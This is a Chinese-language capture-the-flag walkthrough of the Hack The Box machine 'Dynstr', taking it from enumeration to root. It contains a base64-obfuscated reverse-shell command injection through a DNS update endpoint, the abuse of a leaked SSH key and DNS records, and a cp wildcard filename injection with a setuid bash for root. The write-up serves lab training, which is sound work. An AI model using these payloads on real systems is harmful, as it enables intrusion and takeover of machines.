本文已参与「新人创作礼」活动,一起开启掘金创作之路
0x01 端口探测
使用nmap对靶机端口进行探测:
nmap -sV -sC 10.10.10.244
结果如下,除了传统的22和80端口外,还有一个不同寻常的53端口:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-08 21:57 CST
Nmap scan report for 10.10.10.244
Host is up (0.56s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds
0x02 Web Shell
访问WEB界面,可以发现有域名和账户信息:
Username: dynadns
Password: sndanyd
dnsalias.htb
dynamicdns.htb
no-ip.htb
搜了一圈没有发现有用信息,遂对目录进行扫描:
╭─root@kali ~/Tools/SecLists/Discovery/Web-Content ‹master›
╰─# ffuf -u http://dynamicdns.htb/FUZZ -w raft-large-directories-lowercase.txt -x http://localhost:8080
/'___\ /'___\ /'___\
/\ __/ /\ __/ __ __ /\ __/
\ \ ,__\ \ ,__/\ /\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
/_/ /_/ /___/ /_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://dynamicdns.htb/FUZZ
:: Wordlist : FUZZ: raft-large-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Proxy : http://localhost:8080
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
assets [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 1412ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 458ms]
[Status: 200, Size: 10909, Words: 1937, Lines: 282, Duration: 521ms]
nic [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 518ms]
[Status: 200, Size: 10909, Words: 1937, Lines: 282, Duration: 546ms]
:: Progress: [56163/56163] :: Job [1/1] :: 50 req/sec :: Duration: [0:12:45] :: Errors: 2 ::
发现了nic目录,继续对二级目录进行爆破:
╭─root@kali ~/Tools/SecLists/Discovery/Web-Content ‹master›
╰─# ffuf -u http://no-ip.htb/nic/FUZZ -w raft-large-directories-lowercase.txt -x http://localhost:8080
/'___\ /'___\ /'___\
/\ __/ /\ __/ __ __ /\ __/
\ \ ,__\ \ ,__/\ /\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
/_/ /_/ /___/ /_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://no-ip.htb/nic/FUZZ
:: Wordlist : FUZZ: raft-large-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Proxy : http://localhost:8080
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
update [Status: 200, Size: 8, Words: 1, Lines: 2, Duration: 465ms]
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 502ms]
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 599ms]
:: Progress: [56163/56163] :: Job [1/1] :: 57 req/sec :: Duration: [0:15:28] :: Errors: 2 ::
题外话:在复盘的时候发现在no-ip.com能直接发现相关的接口,也就是其实是不用爆破的。。。
直接访问该链接,结果如下:
Google一下能够发现该接口使用的验证信息:
遂构造数据包,成功发送请求:
尝试输入一些特殊字符,得到报错。发现使用了nsupdate。
查看nsupdate,发现是linux中的二进制文件。
我们不难推测整个接口对二进制文件的封装,底层调用了nsupdate对DNS进行升级。由此我们合理推测该接口存在命令注入。
在对接口进行命令注入测试的过程中发现.的存在会干扰正常的解析(因.也被用来分割域名):
这里有两种方法进行绕过,一个是使用BASE64编码,一个是将IP地址使用16进制进行表示。这里使用的是第一种方法,最后构造出的数据包如下:
GET /nic/update?hostname=`echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNi4yMi80NDQ0IDA%2bJjE%3d+|+base64+-d+|+bash`%3b753router.no-ip.htb&myip=174.56.139.141&location=753router HTTP/1.1
Host: 10.10.10.244
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Authorization: Basic ZHluYWRuczpzbmRhbnlk
在攻击机上使用nc对4444端口进行监听,得到反弹的shell:
0x03 User Shell
拿到shell我们可以先升级,升级成一个半完整的终端,后面使用nsupdate会方便一些:
python3 -c 'import pty; pty.spawn("/bin/bash")'
翻了一圈,最后找到home目录,有两个用户:
www-data@dynstr:/home$ ls -l
ls -l
total 8
drwxr-xr-x 5 bindmgr bindmgr 4096 Oct 8 14:40 bindmgr
drwxr-xr-x 3 dyna dyna 4096 Mar 18 2021 dyna
dyna用户里面没有任何东西,进入bindmgr账户可以发现一个support-case-C62796521文件夹:
www-data@dynstr:/home/bindmgr$ ls -l
ls -l
total 1168
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 2021 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Oct 8 06:27 user.txt
另外可能也可以看到一个二进制bash文件,这个可能是其他师傅留下的,可以直接拿到bindmgr的shell,我们不用去管他。
在该目录下有如下文件,在C62796521-debugging.script中可以发现有泄露的ssh私钥:
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -la
ls -la
total 436
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 2021 .
drwxr-xr-x 6 bindmgr bindmgr 4096 Oct 19 09:48 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 2021 strace-C62796521.txt
保存该文件为bindmgr,尝试使用该私钥进行连接,失败:
经过对照确认私钥为正确的私钥(公钥文件可以去家目录的.ssh文件夹中读取):
查看.ssh文件夹中的authorized_keys文件,可以发现该私钥限制了使用范围:
也就是我们需要将我们的IP纳入*.infra.dyna.htb的范围中,所以得利用box中的nsupdate命令增加dns记录:
对于nsupdate相信很多人都是陌生的,这里最好的方法是去看网页是怎么做的。打开update文件能够找到调用的命令:
要是对$h,$d两个参数有疑问的可以自己跑一下命令:
┌──(kali㉿kali)-[~/桌面]
└─$ php -a 130 ⨯
Interactive mode enabled
php > list($h,$d) = explode(".","test1.test2.com",2);
php > echo $h;
test1
php > echo $d;
test2.com
php >
一切准备就绪后可以直接调用nsupdate命令更新DNS记录:
/usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key
但是一开始会报错,一番尝试后发现是key不对。
在ddns.key的同级目录下能够找到真正能用的key,即infra.key:
首先增加正向解析的A记录:
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
</nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
> server localhost
server localhost
> zone dyna.htb
zone dyna.htb
> update add h1nt.infra.dyna.htb 30 IN A 10.10.16.33
update add h1nt.infra.dyna.htb 30 IN A 10.10.16.33
> send
send
>
使用nslookup命令验证成功添加:
但是我们还是不能使用私钥进行ssh连接,原因是ssh还会进行反向解析。可以参考stackoverflow的一篇帖子:
无论原因如何,我们需要同样把反向解析记录给加上。
首先可以使用nslookup看看需要添加的记录是什么。注意不是你的IP地址:
使用如下命令添加反向解析记录:
www-data@dynstr:/var/www/html/nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
</nic$ /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
> server localhost
server localhost
> update add 33.16.10.10.in-addr.arpa 30 IN PTR h1nt.infra.dyna.htb
update add 33.16.10.10.in-addr.arpa 30 IN PTR h1nt.infra.dyna.htb
> send
send
>
而后再次使用nslookup进行验证:
添加成功后我们就能使用私钥进行连接了:
0x04 Root Shell
连接上后尝试提权,使用sudo -l能够发现一个脚本:
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
这个脚本写得有纰漏的地方是它同时使用了cp命令和通配符*,我们可以利用它进行权限提升。原理是cp命令会改变文件的属主,以及cp命令可以设置保留文件的权限位,配合setuid标志位就能够拿到root的shell。
首先我们可以新建一个文件夹,配置好.version文件,而后将bash复制到当前文件夹中。
之后新建一个文件,名字为--preserve=mode,这个命令可以在保留复制后的文件的权限位。关于更多的解释可以使用man命令进行详细查看。
touch -- --preserve=mode
创建后的三个文件如下:
之后使用chmod给bash设置setuid标志位:
chmod 4755 bash
接着便可以跑脚本了:
sudo /usr/local/bin/bindmgr.sh
在设置的目录下即可看到一个设置了setuid标志位的属主为root的bash:
使用该bash即可启动一个root的shell:
./bash -p
自此,整个Box拿下!